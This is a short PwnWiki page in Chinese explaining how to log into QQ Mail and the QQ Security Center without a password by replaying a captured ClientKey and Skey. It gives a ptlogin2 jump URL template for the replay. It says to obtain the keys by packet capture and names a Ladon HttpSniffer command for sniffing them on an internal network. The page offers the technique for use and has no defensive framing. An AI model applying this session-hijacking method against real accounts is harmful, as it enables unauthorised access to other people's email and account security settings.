騰訊QQ ClinetKey&Skey 免密登錄

From PwnWiki
Revision as of 10:42, 21 May 2021 by Pwnwiki (talk | contribs) (→‎利用原理)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

簡介

使用ClientKey和Skey可以直接登入QQ郵箱或者QQ安全中心等服務。

使用Key登錄QQ郵箱

http://ptlogin2.qq.com/jump?clientuin=QQ&clientkey=key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25


獲得ClinetKey和Skey

抓包即可獲得


內網Key

使用Ladon等嗅探工具： 

Ladon HttpSniffer 192.168.1.101
Retrieved from "https://pwnwiki.com/index.php?title=騰訊QQ_ClinetKey%26Skey_免密登錄&oldid=3007"